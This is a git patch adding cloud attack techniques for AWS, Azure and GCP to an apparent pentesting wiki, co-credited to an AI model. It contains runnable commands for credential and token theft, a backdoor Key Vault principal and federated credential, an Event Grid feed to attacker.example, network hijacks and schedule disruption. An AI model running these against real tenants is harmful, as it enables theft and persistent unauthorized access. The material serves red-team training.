From 58a0a7ef2e06ee0390d51ca387b8ad30326e88e3 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 17 Sep 2026 16:43:37 +0200 Subject: [PATCH 1/2] Add novel cloud attack techniques across AWS/GCP/Azure service pages Adds accurate, previously-undocumented techniques surfaced while building the ARTE/GRTE/AzRTE training courses, ported into the matching per-service pages (insert-only; banners and existing reference numbering untouched): AWS - RDS post-ex: read the RDS-managed master password from Secrets Manager via MasterUserSecret.SecretArn + secretsmanager:GetSecretValue - Lightsail persistence: non-expiring bucket access keys - EventBridge Scheduler: UpdateSchedule/DeleteSchedule disruption & target hijack GCP - Cloud Scheduler privesc: jobs.delete/pause disruption (DoS) - App Engine persistence: cron.yaml self-triggering execution as the app SA Azure - Key Vault post-ex: Event Grid exfil, offline backup retention, backdoor data-plane principal, certificate/PFX export - Cosmos DB: DNS/endpoint-suffix account discovery - Service Bus: off-tenant SAS access, catch-all (1=1) subscription siphon - Queue: message injection as a pivot into a consumer's managed identity - SQL: "Allow Azure services" cross-tenant connect with leaked creds - VM/Network: boot-diagnostics secret harvest, NSG/route-table pivot; SSRF->IMDS - Function Apps: $IDENTITY_ENDPOINT token theft, AzureWebJobsStorage pivot - Virtual Desktop: rogue session-host injection, IMDS token theft, FSLogix implant - Cloud Shell persistence: $MSI_ENDPOINT Graph tokens, ~/.azure cached-token harvest - Container Registry unauth: anonymous v2 catalog/tags enum, leaked-cred public entry - Entra ID: federated identity credential as a secretless backdoor Co-Authored-By: Claude Opus 5 (1M context) --- .../aws-lightsail-persistence/README.md | 13 ++++++ .../aws-rds-post-exploitation/README.md | 20 +++++++++ .../aws-services/eventbridgescheduler-enum.md | 25 +++++++++++ .../az-cloud-shell-persistence.md | 21 +++++++++ .../az-cosmosDB-post-exploitation.md | 19 ++++++++ .../az-function-apps-post-exploitation.md | 33 ++++++++++++++ .../az-key-vault-post-exploitation.md | 45 +++++++++++++++++++ .../az-queue-post-exploitation.md | 9 ++++ .../az-servicebus-post-exploitation.md | 28 ++++++++++++ .../az-sql-post-exploitation.md | 9 ++++ .../az-virtual-desktop-post-exploitation.md | 26 +++++++++++ .../az-vms-and-network-post-exploitation.md | 27 +++++++++++ .../az-entraid-privesc/README.md | 19 ++++++++ .../az-container-registry-unauth.md | 26 +++++++++++ .../az-vms-unauth.md | 11 +++++ .../gcp-app-engine-persistence.md | 16 +++++++ .../gcp-cloudscheduler-privesc.md | 11 +++++ 17 files changed, 358 insertions(+) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md index d4e0d20f6b..3a9a08aea6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md @@ -45,6 +45,19 @@ If the assessment includes control of a domain's authoritative DNS zone: - Add a **TXT** SPF policy that authorizes a sender you control to send **email** using the domain. SPF lets a domain explicitly authorize hosts and lets receivers check that authorization; it is not a blanket guarantee that every recipient will accept the message.[[7]](#references) - Point the **apex** A/AAAA record at an endpoint you control. DNS maps the domain to that endpoint; relaying requests to the legitimate service requires a proxy or equivalent application-layer component, so DNS redirection alone is not a MitM.[[5]](#references) +### Non-expiring bucket access keys + +`aws lightsail create-bucket-access-key` returns a long-lived access-key/secret pair for a Lightsail bucket that **does not expire** and lives **outside the caller's IAM identity**. Revoking the IAM permission that minted it — or even deleting the compromised user — does **not** invalidate the key; bucket read/write continues until someone explicitly calls `delete-bucket-access-key`. Mint one, stash it, and you retain access to the bucket's objects across cleanup. + +```bash +aws lightsail create-bucket-access-key --bucket-name +# -> returns accessKeyId + secretAccessKey (non-expiring); use them as S3-compatible creds + +# List existing keys on a bucket (max 2 per bucket) +aws lightsail get-bucket-access-keys --bucket-name +``` + + ## References - [1] [Manage SSH key pairs and connect to your Lightsail instances](https://docs.aws.amazon.com/lightsail/latest/userguide/understanding-ssh-in-amazon-lightsail.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 04c9fb772e..00c809d799 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -593,6 +593,26 @@ aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` +### Read the RDS-managed master password from Secrets Manager (`rds:DescribeDB*` + `secretsmanager:GetSecretValue`) + +When a DB instance or cluster is configured with **RDS-managed master credentials**, RDS stores the real master password in a Secrets Manager secret and exposes its ARN in the instance/cluster description. Any principal with `secretsmanager:GetSecretValue` on that secret (plus `kms:Decrypt` if a CMK is used) can read the live master credentials directly — no snapshot, restore, or password reset required, and far quieter than `ModifyDBInstance`. + +```bash +# 1) Find instances/clusters whose master password RDS manages in Secrets Manager +aws rds describe-db-instances \ + --query 'DBInstances[?MasterUserSecret!=null].{DB:DBInstanceIdentifier,User:MasterUsername,Secret:MasterUserSecret.SecretArn}' \ + --output table +aws rds describe-db-clusters \ + --query 'DBClusters[?MasterUserSecret!=null].{Cluster:DBClusterIdentifier,User:MasterUsername,Secret:MasterUserSecret.SecretArn}' \ + --output table + +# 2) Read the managed secret -> live master username/password +aws secretsmanager get-secret-value \ + --secret-id \ + --query SecretString --output text +``` + + ### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) Abuse an Aurora PostgreSQL zero‑ETL integration to continuously replicate production data into a Redshift Serverless namespace you control. With a permissive Redshift resource policy that authorizes `CreateInboundIntegration`/`AuthorizeInboundIntegration` for a specific Aurora cluster ARN, an attacker can establish a near‑real‑time data copy through the AWS control plane without DB credentials, snapshots, or a network path to the source.[[31]](#references)[[32]](#references)[[33]](#references)[[34]](#references) diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index f3b0964f9b..212cb4934b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -82,6 +82,31 @@ aws scheduler get-schedule --name \ If schedule listing is denied, names can be recovered from IaC, CloudTrail, deployment code, the Scheduler console URL, CI/CD output, tags, or error messages. The default group is literally named `default`, so try it when only a schedule name is known. A visible Secrets Manager ARN or KMS ARN is a locator, not the protected value. +### `scheduler:UpdateSchedule` / `scheduler:DeleteSchedule` — disruption & target hijack + +Write access to an existing schedule is a post-exploitation primitive even without `iam:PassRole`: + +- **Disable / delete critical automation (DoS)** — set a schedule that drives production automation (backups, patching, billing exports, autoscaling triggers) to `--state DISABLED`, or delete it outright. The automation silently stops running with no error surfaced to its owners. + +```bash +# Silently disable a schedule that other systems depend on +aws scheduler update-schedule --name --group-name \ + --schedule-expression '' --flexible-time-window '{"Mode":"OFF"}' \ + --target '' --state DISABLED + +# Or remove it entirely +aws scheduler delete-schedule --name --group-name +``` + +- **Target hijack / data redirect** — repoint an existing schedule's `Target` (ARN + `Input`) to a resource you control (e.g. an SQS queue, SNS topic, or Lambda you own) while keeping the same execution role. On the next fire the role-authorized action runs against attacker-controlled infrastructure, redirecting the data or side effects it was meant to produce. + +```bash +aws scheduler update-schedule --name --group-name \ + --schedule-expression '' --flexible-time-window '{"Mode":"OFF"}' \ + --target '{"Arn":"","RoleArn":"","Input":""}' +``` + + ## EventBridge rule targets Classic EventBridge rules are separate from Scheduler schedules. `events:ListTargetsByRule` returns the targets attached to a known rule, including constant `Input`, input paths/transformers, target role, dead-letter queue, and target-specific parameters.[[13]](#references) diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index ddcd7ba3e2..b76ee41cad 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -26,6 +26,27 @@ curl -s -G -H "Metadata:true" \ "$MSI_ENDPOINT" ``` +### Steal Microsoft Graph tokens via `$MSI_ENDPOINT` + +The same `$MSI_ENDPOINT` trick works for **any audience**, not just ARM. Requesting a token for the **Microsoft Graph** resource yields a bearer usable against `graph.microsoft.com` (directory, users, groups, app registrations…), which can then be carried off-host and used from your own machine, outliving the 20-minute session: + +```bash +# Microsoft Graph token (same trick, different audience) +curl -s -G -H "Metadata:true" \ + --data-urlencode "api-version=2018-02-01" \ + --data-urlencode "resource=https://graph.microsoft.com/" \ + "$MSI_ENDPOINT" +``` + +### Harvest cached tokens from `~/.azure/` + +As an offline alternative to the live MSI endpoint, the signed-in user's cached tokens and profile sit on disk in the persisted `$HOME` under **`~/.azure/`** — notably `msal_token_cache.json` (refresh/access tokens) and `azureProfile.json` (subscriptions/identity). Grabbing these files gives the same off-host impersonation without ever calling `$MSI_ENDPOINT`, and because `$HOME` is persisted they can be read again from later storage-backed sessions: + +```bash +cat ~/.azure/msal_token_cache.json ~/.azure/azureProfile.json +# exfiltrate both files and replay the tokens from your own machine +``` + ### Cloud Shell Phishing If an attacker has read and write access to the Azure file share backing another user's persistent Cloud Shell, they can tamper with that user's `.cloudconsole/acc_.img`. Microsoft warns that identities with sufficient inherited permissions can access Cloud Shell storage accounts and file shares, and recommends restricting access at the storage-account or subscription level.[[2]](#references) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index 299dbfb51c..f9177e2883 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -184,6 +184,25 @@ az cosmosdb mongodb database create \ --name ``` +### Discover & confirm accounts by DNS / endpoint suffix + +Every Cosmos endpoint lives on a **globally-unique, guessable** DNS name, so an account name can be permuted/brute-forced against the Cosmos service suffixes to discover accounts and **confirm ownership** (cutting false positives) without any tenant access. Sweep the suffixes for each API variant: + +- NoSQL → `.documents.azure.com` +- MongoDB (RU) → `.mongo.cosmos.azure.com` +- Table → `.table.cosmos.azure.com` +- Cassandra → `.cassandra.cosmos.azure.com` +- Gremlin → `.gremlin.cosmos.azure.com` +- MongoDB (vCore) → `.global.mongocluster.cosmos.azure.com` + +MicroBurst-style subdomain sweeps (`Invoke-EnumerateAzureSubDomains`) already carry `documents.azure.com` in their service list, so a base-name run surfaces Cosmos accounts alongside storage, Key Vault, and the rest. + +```bash +for suffix in documents.azure.com mongo.cosmos.azure.com table.cosmos.azure.com cassandra.cosmos.azure.com gremlin.cosmos.azure.com; do + nslookup ".$suffix" >/dev/null 2>&1 && echo "[+] .$suffix exists" +done +``` + ## References - [1] [Azure permissions for Databases](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/databases) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index dddab701bc..996ebe8a83 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -17,6 +17,39 @@ For more information about function apps check: ../az-privilege-escalation/az-functions-app-privesc.md {{#endref}} +### Steal managed-identity tokens via `$IDENTITY_ENDPOINT` + +Once you can run code inside a Function App, the local token endpoint is **not** the VM IMDS `169.254.169.254` — App Service/Functions expose a per-app endpoint through the `$IDENTITY_ENDPOINT` environment variable, protected by a secret in `$IDENTITY_HEADER`. Request a token for each attached managed identity (one system-assigned + any number of user-assigned) and pivot to whatever those identities can reach across the tenant: + +```bash +# System-assigned identity (bash / from function code) +curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \ + -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" +# User-assigned identity: append &client_id= (or &mi_res_id=) +``` + +```powershell +# PowerShell equivalent +Invoke-RestMethod -Uri "$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" ` + -Headers @{ "X-IDENTITY-HEADER" = $env:IDENTITY_HEADER } +``` + +Enumerate and mint a token for **each** identity — one function often unlocks several. + +### Pivot to the whole storage account via `AzureWebJobsStorage` + +A non-containerized Function stores its code and data in a backing Storage account, and the `AzureWebJobsStorage` (and `WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`) app settings hold a **full-permission storage account key**, not a scoped SAS. Reading those settings (e.g. `az functionapp config appsettings list`, `Microsoft.Web/sites/config/list/action`, or from inside the function as env vars) hands you the entire storage account: every **blob/file/queue/table**, the ability to **mint SAS tokens**, and **soft-delete recovery** of previously deleted data. Treat it as owning the storage account. + +```bash +# From the control plane: dump the settings holding the storage key +az functionapp config appsettings list --name --resource-group \ + --query "[?name=='AzureWebJobsStorage' || name=='WEBSITE_CONTENTAZUREFILECONNECTIONSTRING']" + +# Use the connection string as a full storage key +az storage blob list --connection-string "" --container-name -o table +az storage account generate-sas --connection-string "" \ + --services bfqt --resource-types sco --permissions rwdlacup --expiry 2030-01-01 +``` ## References diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index 940c629f99..040b252e1a 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -117,6 +117,51 @@ Allows a principal to recover a previously deleted key from an Azure Key Vault:< az keyvault key recover --vault-name --name ``` +### Certificate / PFX export to impersonate a service + +A certificate stored in the vault often authenticates an application or service principal. The private key is exposed through the **secret backing the certificate**, so `certificates/get` plus `secrets/get` lets you **export the full PFX** (certificate + private key), which you can then reuse to authenticate *as* that service. An exported PFX is a standing credential that lives outside the vault's audit trail and Entra, and keeps working until the certificate is rotated or revoked: + +```bash +az keyvault secret download --vault-name --name \ + --encoding base64 --file exported-cert.pfx +``` + +### Offline object backups as a retention primitive + +The `backup` commands produce an **encrypted blob** you can keep and later `restore` — into the same vault or a different one you control — preserving a copy of the material even after the original is rotated, deleted, or purged. This turns transient data-plane read access into durable, offline retention of secrets, keys, and certificates: + +```bash +az keyvault secret backup --vault-name --name --file secret.backup +az keyvault key backup --vault-name --name --file key.backup +az keyvault certificate backup --vault-name --name --file cert.backup +``` + +### Backdoor data-plane principal + +Plant an attacker-controlled identity (a fresh service principal or a rarely-watched existing one) with **permanent data-plane rights**: on an access-policy vault add it to the **access policies**, or on an RBAC vault assign it a data role such as *Key Vault Secrets User* at the vault scope. It keeps reading secrets even after your interactive foothold is cleaned up: + +```bash +# Access-policy vault: add the principal to the vault's own policy list +az keyvault set-policy --name --object-id \ + --secret-permissions get list + +# RBAC vault: assign a data-plane role at vault scope +az role assignment create --assignee \ + --role "Key Vault Secrets User" \ + --scope "/subscriptions//resourceGroups//providers/Microsoft.KeyVault/vaults/" +``` + +### Event-driven exfiltration via Event Grid + +Key Vault emits **Event Grid** events (`Microsoft.KeyVault.SecretNewVersionCreated`, `Microsoft.KeyVault.KeyNewVersionCreated`, and near-expiry events). An Event Grid subscription pointed at an **attacker webhook** turns secret rotation into a continuous feed: you are notified the instant a fresh secret version lands (leaking its metadata), then pull it with your backdoor principal. It keeps paying out long after initial access: + +```bash +az eventgrid event-subscription create --name kv-exfil \ + --source-resource-id "/subscriptions//resourceGroups//providers/Microsoft.KeyVault/vaults/" \ + --endpoint https://attacker.example/webhook \ + --included-event-types Microsoft.KeyVault.SecretNewVersionCreated +``` + ## References - [1] [Azure permissions for Security - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md index 1e014e0e0f..562878d90b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md @@ -55,6 +55,15 @@ az storage message update --queue-name \ --auth-mode login ``` +### Message injection as a pivot into a downstream consumer's managed identity + +Queues commonly trigger **Function Apps, Container App Jobs, or Logic Apps**, each running under its own **managed identity**. With `.../messages/add/action` (enqueue) — or `.../messages/write` to alter an in-flight message — you place attacker-controlled content that the consumer will process. If that consumer treats a message as a **command, a file/URL to fetch, or data it deserializes** without validation, your payload runs **in the consumer's identity context**, escalating a mere data-plane queue write into code/logic execution under a different, often more-privileged, principal. Always ask *"who reads this queue, and how much do they trust it?"* — the value of the injection equals the privileges of the consumer. + +```bash +az storage message put --queue-name --account-name \ + --content '' --auth-mode login +``` + ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete` This permission allows an attacker to delete queues within the storage account. Deleting a queue also deletes the messages it contains.[[1]](#references)[[2]](#references)[[5]](#references)[[8]](#references) This can cause significant disruption to workflows and data loss for applications that rely on the affected queues, or sabotage services by removing essential components of the system. diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 0280a740ec..6e03d616a4 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -81,6 +81,34 @@ az servicebus topic subscription update --resource-group --n az servicebus topic subscription update --resource-group --namespace-name --topic-name --name --status Disabled ``` +### Off-tenant access via a leaked SAS connection string / token + +Service Bus has no anonymous API, but its SAS model means a **single leaked string is a complete, standalone credential**. A namespace **connection string** (`Endpoint=sb://.servicebus.windows.net/;SharedAccessKeyName=;SharedAccessKey=`) or a bare `SharedAccessSignature` token found in a Git commit, CI/CD variable, mobile/desktop app, config file, or IaC artifact grants exactly the rights the underlying rule encodes (`Send`/`Listen`/`Manage`). Because the endpoint is a public, guessable DNS name (`.servicebus.windows.net`) reachable unless private-endpoint/selected-network rules apply, an attacker with **no tenant access at all** can send/receive directly over AMQP/HTTPS until the key is rotated or local auth is disabled — no Azure login required. + +```python +# Off-tenant: use a leaked namespace connection string to receive (steal) messages +import asyncio +from azure.servicebus.aio import ServiceBusClient # pip install azure-servicebus +CONN_STR = "Endpoint=sb://.servicebus.windows.net/;SharedAccessKeyName=;SharedAccessKey=" +async def run(): + async with ServiceBusClient.from_connection_string(CONN_STR) as client: + async with client.get_queue_receiver(queue_name="", max_wait_time=5) as rx: + for msg in await rx.receive_messages(max_message_count=20, max_wait_time=5): + print("Received:", msg) + await rx.complete_message(msg) +asyncio.run(run()) +``` + +### Catch-all subscription rule for durable message siphoning + +With `subscriptions/write` (and the subscription `rules` write) on a busy topic, add a **new subscription with a catch-all (`1=1`) filter** so you keep receiving a **copy of every published message** for as long as the subscription exists — a durable read/exfil channel that blends in with legitimate subscribers and doesn't interfere with them. + +```bash +az servicebus topic subscription create -g --namespace-name --topic-name --name persist-sub +az servicebus topic subscription rule create -g --namespace-name --topic-name \ + --subscription-name persist-sub --name catchall --filter-sql-expression "1=1" +``` + ### Actions: `AuthorizationRules` Send and Receive Messages Take a look here: diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index ed7bb0daa1..c930f7fe2f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -147,6 +147,15 @@ az sql db tde set \ --status ``` +### "Allow Azure services" = cross-tenant connect with leaked SQL creds + +There is no dedicated Azure SQL unauthenticated page, so this initial-entry vector is noted here. If a logical server has **Allow Azure services and resources to access this server = Enabled**, Azure adds a hidden firewall rule for `0.0.0.0` that permits traffic from **any Azure IP, in any tenant** — not just the victim's subscription. So with leaked SQL credentials an attacker doesn't need to open a firewall rule at all: spin up a VM in their **own** attacker tenant and connect from there. (A server-level firewall rule spanning `0.0.0.0`–`255.255.255.255` exposes the public endpoint to the whole internet the same way; `az sql server firewall-rule list` reveals both.) + +```bash +# From an attacker-controlled Azure VM in a different tenant, using leaked creds: +sqlcmd -S .database.windows.net -U -P -d +``` + ## References - [1] [Azure permissions for Databases - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/databases) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md index 71d2b685dc..678596dc55 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md @@ -18,6 +18,32 @@ For more info about Virtual Desktop check the following page: - Techniques that apply to the underlying **Azure VMs** can also apply after compromising a session host. - A pooled host-pool session-host configuration can include a custom PowerShell script, and Azure documents running the configured script URL during deployment; control of that configuration or referenced script is therefore a code-execution and persistence path on newly deployed hosts.[[5]](#references)[[6]](#references) +### Inject a rogue session host via the registration token + +`Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action` returns a **Pooled host pool's registration token** — the credential the AVD agent uses to join a new VM as a session host. With it, an attacker can **register an attacker-controlled VM into the pool**. Because Pooled pools load-balance user sessions across their hosts, victims may be brokered onto **your** host, where you (as its local admin) capture their tokens, files, and cached credentials — a lateral/escalation path that never touches `roleAssignments/write`. + +```bash +az desktopvirtualization hostpool retrieve-registration-token \ + --name --resource-group +# then run the AVD agent installer on your VM with the returned token to join the pool +``` + +### Managed-identity token theft on the session host + +Every session host is an Azure VM, so once you have a shell (or `runCommand`/admin) on one, the highest-value primitive is **managed-identity token theft from IMDS**. The default system-assigned identity starts permission-less, but any rights granted to it — or to a user-assigned identity attached to the host — become yours: + +```bash +# From on the session host (SYSTEM/user context) +curl -H Metadata:true \ + "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" +``` + +Combine with run-command, OS-disk snapshot access, and VNet/NSG network pivoting exactly as for any Azure VM. Landing on the host to inherit the VM's Azure reach is usually the real objective. + +### FSLogix profile / personal-host persistence implant + +On a **Personal host** the user owns the OS disk, and Pooled users' data lives in **FSLogix profile containers** on a storage share. Planting persistence (autoruns, scheduled tasks, malicious profile logon scripts) inside the user profile or OS disk makes it **re-execute across sessions** — even on pooled hosts that recycle, because the FSLogix profile is re-mounted for the user on whichever host they land on. Reusing the session-host VM managed identities (a standing Azure credential reachable via IMDS) keeps a foothold on the hosts themselves. + ## References - [1] [Add and manage App Attach applications in Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/app-attach-setup) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md index 9768836a37..9e46720382 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md @@ -181,6 +181,33 @@ az vm application set \ --treat-deployment-as-failure true ``` +### Harvest boot diagnostics logs + +If **boot diagnostics** is enabled on a VM, its serial/boot log is readable straight from the control plane **without any guest access**. That log frequently captures cloud-init/provisioning output, error dumps, and occasionally credentials or tokens printed during boot — making it a quick secret-harvesting primitive against VMs you can read but can't yet log into. See [az vm boot-diagnostics](https://learn.microsoft.com/en-us/cli/azure/vm/boot-diagnostics?view=azure-cli-latest). + +```bash +az vm boot-diagnostics get-boot-log --name --resource-group +``` + +### Network pivoting (NSG rule / route-table writes) + +From a foothold, the network fabric itself is a lateral-movement lever. By default **all subnets in a VNet can talk freely**, so one compromised subnet usually reaches the rest at L3. Where a target is firewalled off, control-plane write access to the filtering layer opens a path to it: + +- With `Microsoft.Network/networkSecurityGroups/write` you can **add an inbound allow rule** to reach a previously isolated VM (e.g. open 22/3389 from your IP). +- With route-table write (`Microsoft.Network/routeTables/*`) you can **reroute or blackhole** traffic — for example steer `0.0.0.0/0` through a host you control to intercept a subnet's egress. + +```bash +# Open RDP to an isolated VM from the attacker's IP +az network nsg rule create --resource-group --nsg-name --name open-rdp \ + --priority 100 --direction Inbound --access Allow --protocol Tcp \ + --destination-port-ranges 3389 --source-address-prefixes + +# Redirect a subnet's outbound traffic through an attacker-controlled next hop +az network route-table route create --resource-group --route-table-name \ + --name hijack-egress --address-prefix 0.0.0.0/0 \ + --next-hop-type VirtualAppliance --next-hop-ip-address +``` + ## References - [1] [VM Applications overview](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 1183612060..49a8d59a67 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -228,6 +228,25 @@ az ad app show --id --query "web.redirectUris" az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` +### Federated identity credential as a secretless backdoor + +Instead of adding a `passwordCredential` or `keyCredential` to a privileged app registration (which shows up as a secret/certificate that can be audited and rotated), an attacker with credential-write rights over the app can add a **federated identity credential (FIC)** that trusts an **attacker-controlled OIDC issuer** (or a workload the attacker already owns, such as a GitHub Actions repo). The app can then mint tokens for its service principal via the OIDC token-exchange (client-credentials with a JWT `client_assertion`) — with **no stored secret to rotate or discover**, making it a much quieter persistence credential than a password. FICs added to an SP don't surface like a portal secret, so cross-check them via the API. + +```bash +# Add a federated credential trusting an attacker-controlled issuer/subject +az ad app federated-credential create --id --parameters '{ + "name": "backdoor-fic", + "issuer": "https://attacker-controlled-oidc.example.com", + "subject": "repo:attacker/repo:ref:refs/heads/main", + "audiences": ["api://AzureADTokenExchange"] +}' + +# List existing federated credentials on an app (audit / confirm) +az ad app federated-credential list --id +``` + +The attacker's workload then presents a JWT signed by that issuer as `client_assertion` (with `client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer`) in a standard client-credentials flow against `https://login.microsoftonline.com//oauth2/v2.0/token` to obtain an access token as the service principal, inheriting all of its granted permissions. See [Microsoft Learn — Workload identity federation](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation). + ### Applications Privilege Escalation **As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, default applications have historically been found with **API permissions** of type **`Application`** assigned to them. An API permission (as called in the Entra ID console) of type **`Application`** means that the application can access the API and perform actions without a user context (without a user logging into the app).[[7]](#references)[[8]](#references) diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md index dad2b28ff2..79f4bf405e 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md @@ -21,6 +21,32 @@ az acr update --name --anonymous-pull-enabled true The `--anonymous-pull-enabled` setting is disabled by default. Once enabled, every repository in the registry becomes publicly readable, and anyone knowing its name can pull images from the `.azurecr.io` endpoint.[[1]](#references) +### Anonymous catalog & tag enumeration (OCI Registry v2 API) + +When anonymous pull is enabled, the registry's **OCI Distribution v2 API** can be queried directly with no authentication to discover every repository and tag before pulling anything. `GET /v2/_catalog` lists the repositories and `GET /v2//tags/list` lists a repository's tags — so a registry name is all that's needed to map its entire content. + +```bash +# List all repositories in the registry +curl -s "https://.azurecr.io/v2/_catalog" + +# List the tags of a given repository +curl -s "https://.azurecr.io/v2//tags/list" + +# Then pull an image anonymously (no docker login) +docker pull .azurecr.io/: +``` + +A single anonymously pullable image can leak connection strings, tokens, or certificates baked into its layers. + +### Internet-exposed registry with a leaked credential + +Non-Premium ACR SKUs only expose a **public** `.azurecr.io` login server (private endpoints are Premium-only), so the endpoint is reachable from anywhere on the internet even when anonymous pull is off. Any leaked ACR credential — an **admin username/password**, a **scoped-token password**, or a **service-principal secret** — is therefore a self-contained bearer credential against that public endpoint, usable from outside the tenant with no Azure session at all. These commonly leak from source code, CI/CD variables, Dockerfiles, or a developer's `~/.docker/config.json`. + +```bash +docker login .azurecr.io -u -p +docker pull .azurecr.io/: +``` + ## References - [1] [Microsoft Learn - Enable unauthenticated anonymous pull access in Azure Container Registry](https://learn.microsoft.com/en-us/azure/container-registry/anonymous-pull-access) diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md index 9c2763b845..dfb03b6a38 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md @@ -42,6 +42,17 @@ az vm extension image list 